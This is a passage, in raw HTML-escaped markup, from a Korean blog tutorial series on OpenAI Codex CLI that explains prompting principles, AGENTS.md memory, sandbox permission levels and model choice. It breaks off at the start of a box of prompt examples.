data-origin-width=&quot;2116&quot; data-origin-height=&quot;1174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 기초 용어 박스 --&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 15px 18px; border-radius: 8px; border-left: 4px solid #f0ad4e; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;먼저 용어부터 가볍게 잡고 가자&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;- 프롬프트 :&lt;/b&gt;&amp;nbsp;Codex에게 보내는 지시문이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;컨텍스트 :&lt;/b&gt;&amp;nbsp;Codex가 함께 참고할 파일, 코드, 이미지 같은 자료다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;- 샌드박스 :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;Codex가 함부로 파일을 바꾸거나 명령을 실행하지 못하게 막는 안전 울타리이고, 모델은 실제로 답을 만들고 판단하는 AI 엔진이라고 보면 된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;- 작업 범위 :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;Codex에게 맡기는 일의 크기다. 예를 들어 &quot;읽기만 해라&quot;, &quot;이 폴더 안 파일만 고쳐라&quot;, &quot;위험한 명령은 먼저 물어봐라&quot;처럼 정하는 것이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;승인 정책 :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;Codex가 경계를 넘으려 할 때 나에게 먼저 물어볼지 정하는 규칙이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;앞선 CLI 빠른 시작 편과 이 글의 차이&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;앞선 글의 샌드박스 설명은 &quot;처음 켤 때 어떤 안전 설정으로 시작할까&quot;에 가까웠다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글에서는 한 단계 더 들어가서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;이번 작업을 Codex에게 어디까지 맡겨도 되는지&lt;/b&gt;를 고르는 법을 다룬다. 프롬프트&amp;middot;메모리&amp;middot;모델도 결국 이 판단과 함께 움직인다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;즉.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Codex가 읽기만 할지, 프로젝트 안에서 수정해도 될지, 명령 실행은 언제 물어봐야 할지&lt;/b&gt;를 판단할 수 있도록 이해 하는게 이번글에서의 목표이다..&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 시리즈 네비게이션 박스 (상단) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 2: 핵심 개념 4가지 (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;프롬프트(Prompting) &amp;mdash; 좋은 지시의 4원칙&lt;/li&gt;
&lt;li&gt;메모리(Memories) &amp;mdash; AGENTS.md와 로컬 메모리&lt;/li&gt;
&lt;li&gt;샌드박스(Sandboxing) &amp;mdash; 3가지 권한 레벨 선택 가이드&lt;/li&gt;
&lt;li&gt;모델(Models) &amp;mdash; 어떤 모델을 언제 쓸까&lt;/li&gt;
&lt;li&gt;정리: 4개 개념이 어떻게 연결되는가&lt;/li&gt;
&lt;li&gt;Part 3 예고&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4개 개념을 한 장으로 보면&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;개념&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;결정하는 것&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;흔한 실패&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;프롬프트(Prompting)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이번 작업의 목표와 완료 기준&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;범위가 넓어져 엉뚱한 파일까지 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;메모리(Memories) / AGENTS.md&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반복해서 지킬 배경 규칙&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매번 같은 설명을 다시 하거나 팀 규칙을 놓침&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;샌드박스(Sandboxing)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex가 실제로 실행할 수 있는 경계&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;권한이 좁아 작업이 막히거나, 너무 넓어 위험해짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;모델(Models)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;속도, 비용, 추론 깊이&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가벼운 작업에 과한 모델을 쓰거나 복잡한 작업에 너무 약한 모델을 씀&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;초심자라면 순서를 이렇게 잡으면 편하다. 먼저 프롬프트로 할 일을 정한다. 반복해서 지켜야 할 규칙은 AGENTS.md에 둔다. 샌드박스로 Codex가 건드릴 수 있는 파일과 명령을 제한한다. 마지막으로 작업 난이도와 비용에 맞춰 모델을 고른다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 프롬프트(Prompting) &amp;mdash; 좋은 지시의 4원칙&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 지시가 명확할수록 더 잘 작동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트는 쉽게 말해 &quot;Codex에게 보내는 작업 지시서&quot;다. 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/prompting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Prompting 문서&lt;/a&gt;에서는 검증 가능성, 작업 분해, 계획 요청, 스레드 같은 기본 개념을 설명한다. 이 글에서는 초심자가 바로 써먹기 쉽도록 4가지 원칙으로 나눠 보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 프롬프트를 받으면 모델을 호출하고, 파일을 읽거나 고치고, 도구를 실행하는 Loop를 반복한다. 작업이 끝났다고 판단하거나 내가 취소할 때까지다. 그러니 프롬프트에는 &quot;무엇을 할지&quot;와 함께 &quot;언제 멈추는지&quot;도 같이 적어두는 게 낫다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l8EGI/dJMcahRQn4W/KzHc0Pv49fDHUKhFJSFazk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l8EGI/dJMcahRQn4W/KzHc0Pv49fDHUKhFJSFazk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l8EGI/dJMcahRQn4W/KzHc0Pv49fDHUKhFJSFazk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl8EGI%2FdJMcahRQn4W%2FKzHc0Pv49fDHUKhFJSFazk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2120&quot; height=&quot;1154&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;1.1 검증 가능성(Verifiability): 결과를 확인할 수 있게 만든다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 자신의 작업을 확인할 방법이 있을 때 더 좋은 결과를 낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버그를 다시 만드는 순서, 기능이 맞게 동작하는지 확인하는 방법, 린트나 프리커밋 체크 실행 방법을 함께 적어 줄수록 좋다. 여기서 린트는 코드 스타일과 흔한 실수를 자동으로 검사하는 도구이고, 프리커밋 체크는 커밋 전에 자동으로 돌리는 검사라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 &quot;이 버그를 고쳐라&quot;보다 &quot;버그를 고친 후 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm test&lt;/code&gt;로 회귀 테스트가 통과하는지 확인하라&quot;처럼 검증 조건을 명시하면 Codex가 스스로 작업 완성 여부를 판단할 수 있다. 회귀 테스트는 고친 문제가 다시 생기지 않는지 확인하는 테스트이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;1.2 작업 분해(Task Decomposition): 작게 나눌수록 잘 처리한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업은 작게 나눌수록 Codex가 더 잘 처리한다. 예를 들어 &quot;게시판을 개선해줘&quot;보다 &quot;검색 버그를 고치고, 그다음 빈 결과 화면 문구를 바꿔줘&quot;처럼 나누는 식이다. 작은 단위의 작업은 Codex가 테스트하기도 쉽고, 개발자가 결과를 검토하기도 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분해 방법을 모른다면, 직접 분해하지 않아도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;1.3 계획 먼저(Plan First): 분해가 막히면 계획을 먼저 요청한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분해 방법이 막힐 때는 Codex에게 먼저 계획을 제안하게 하면 된다. 그러면 Codex가 접근 순서를 먼저 정리하고, 개발자는 그 계획을 보고 다음 구현 지시로 이어갈 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &quot;이 기능을 추가할 계획을 먼저 만들어라. 구현은 내가 검토한 뒤 진행하겠다&quot;처럼 지시하면, 실행 전에 방향을 조율할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plan mode는 초심자에게 특히 중요하다&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;838&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqVYxe/dJMcagyDj2S/D9vSPMUzqklERjY4hOYUI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqVYxe/dJMcagyDj2S/D9vSPMUzqklERjY4hOYUI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqVYxe/dJMcagyDj2S/D9vSPMUzqklERjY4hOYUI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqVYxe%2FdJMcagyDj2S%2FD9vSPMUzqklERjY4hOYUI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1474&quot; height=&quot;838&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;838&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/plan&lt;/code&gt;으로 현재 대화를 계획 모드로 바꿀 수 있다. &lt;br /&gt;큰 리팩토링, 마이그레이션, 원인 모르는 장애처럼 바로 수정하면 위험한 일은 먼저 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/plan&lt;/code&gt;으로 접근하는 편이 안전하다. &lt;br /&gt;현재 CLI에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;Shift+Tab&lt;/code&gt;으로 모드를 전환할 수 있는 환경도 있지만, 단축키는 키맵에 따라 바뀔 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ex) shift + tab 으로 모드를 변경 가능하며 계획을 먼저 세우게 된다. (너무 간단한 내용은 바로 수행하기도 한다.)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwc05P/dJMcaiiUFC8/ZYpxuEGE2d16XmHE1q7WYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwc05P/dJMcaiiUFC8/ZYpxuEGE2d16XmHE1q7WYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwc05P/dJMcaiiUFC8/ZYpxuEGE2d16XmHE1q7WYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwc05P%2FdJMcaiiUFC8%2FZYpxuEGE2d16XmHE1q7WYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1302&quot; height=&quot;246&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 계획을 세워주며&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;206&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Iifo3/dJMcahRPR0B/dTZFmuCpErYFkF7EVrKsg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Iifo3/dJMcahRPR0B/dTZFmuCpErYFkF7EVrKsg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Iifo3/dJMcahRPR0B/dTZFmuCpErYFkF7EVrKsg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIifo3%2FdJMcahRPR0B%2FdTZFmuCpErYFkF7EVrKsg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;906&quot; height=&quot;206&quot; data-origin-width=&quot;906&quot; data-origin-height=&quot;206&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 해당 계획대로 수행할지, 쌓여있는 context를 비우고 수행할지, 플랜모드를 통해 계속 계획모드를 개선할지 등 선택 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLn48w/dJMb99M1nFa/tILWY6JHagRWOBFNdRallK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLn48w/dJMb99M1nFa/tILWY6JHagRWOBFNdRallK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLn48w/dJMb99M1nFa/tILWY6JHagRWOBFNdRallK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLn48w%2FdJMb99M1nFa%2FtILWY6JHagRWOBFNdRallK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;246&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;1.4 컨텍스트 제공(Context): 관련 파일과 이미지를 함께 넣는다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트를 제출할 때 관련 파일, 이미지 같은 컨텍스트를 함께 넣어야 한다. 컨텍스트는 Codex가 답을 만들 때 참고하는 배경 자료다. Codex IDE 확장을 쓴다면 열린 파일 목록과 선택된 텍스트 범위가 자동으로 컨텍스트에 포함된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI에서는 스레드(thread) 개념을 이해하면 컨텍스트 관리가 쉬워진다. (어려운 용어면 데충 넘어가자)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI는 터미널에서 명령어로 쓰는 방식이고, 스레드는 &quot;Codex의 한 번의 작업 세션&quot;에 가깝다. 처음 보낸 프롬프트, Codex의 답변, 도구 실행 기록이 한 스레드 안에 쌓인다. 한 스레드 안에 여러 프롬프트를 이어서 넣을 수 있고, 나중에 이어서 재개할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 여러 스레드를 동시에 돌릴 때는 주의해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 여러 스레드를 동시에 실행할 수는 있지만, 두 스레드가 같은 파일을 동시에 수정하지 않도록 피하라고 안내한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초심자라면 한 작업이 끝난 뒤 다음 작업을 맡기는 방식이 가장 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스레드는 실행 위치에 따라 로컬 스레드와 클라우드 스레드로도 나눠 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 스레드는 내 컴퓨터에서 샌드박스 안에 실행되고, 클라우드 스레드는 저장소를 별도로 가져와 원격 환경에서 작업한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 로컬에서 흐름을 익히고, 병렬 작업이나 위임이 필요해졌을 때 클라우드 작업을 보는 편이 이해하기 쉽다.&lt;/p&gt;
&lt;!-- 팁 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0; border-left: 4px solid #0066cc;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CLI 컨텍스트 팁&lt;/b&gt;: IDE 확장은 열린 파일과 선택한 코드가 자동으로 컨텍스트에 들어가는 편이다. CLI에서는 보통 파일 경로를 직접 적거나, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/mention &amp;lt;path&amp;gt;&lt;/code&gt;로 관련 파일을 현재 대화에 붙이는 것이 좋다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;프롬프트 예시 5가지&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ug1c4/dJMcabjQy2m/LfMgD0iLoezm42IPnIj021/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ug1c4/dJMcabjQy2m/LfMgD0iLoezm42IPnIj021/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ug1c4/dJMcabjQy2m/LfMgD0iLoezm42IPnIj021/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUg1c4%2FdJMcabjQy2m%2FLfMgD0iLoezm42IPnIj021%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2126&quot; height=&quot;1170&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;상기 이미지 처럼 하고자 하는 내용을 잘 설명 하면 되는게 프롬프트가 아닐까?&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( 모르는 것은 AI에게 도움을 받고, 내가 잘 설명할수있는것은 잘 설명 하는 것??)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5개의 예시로 상기 내용을 이해해보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #2196F3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
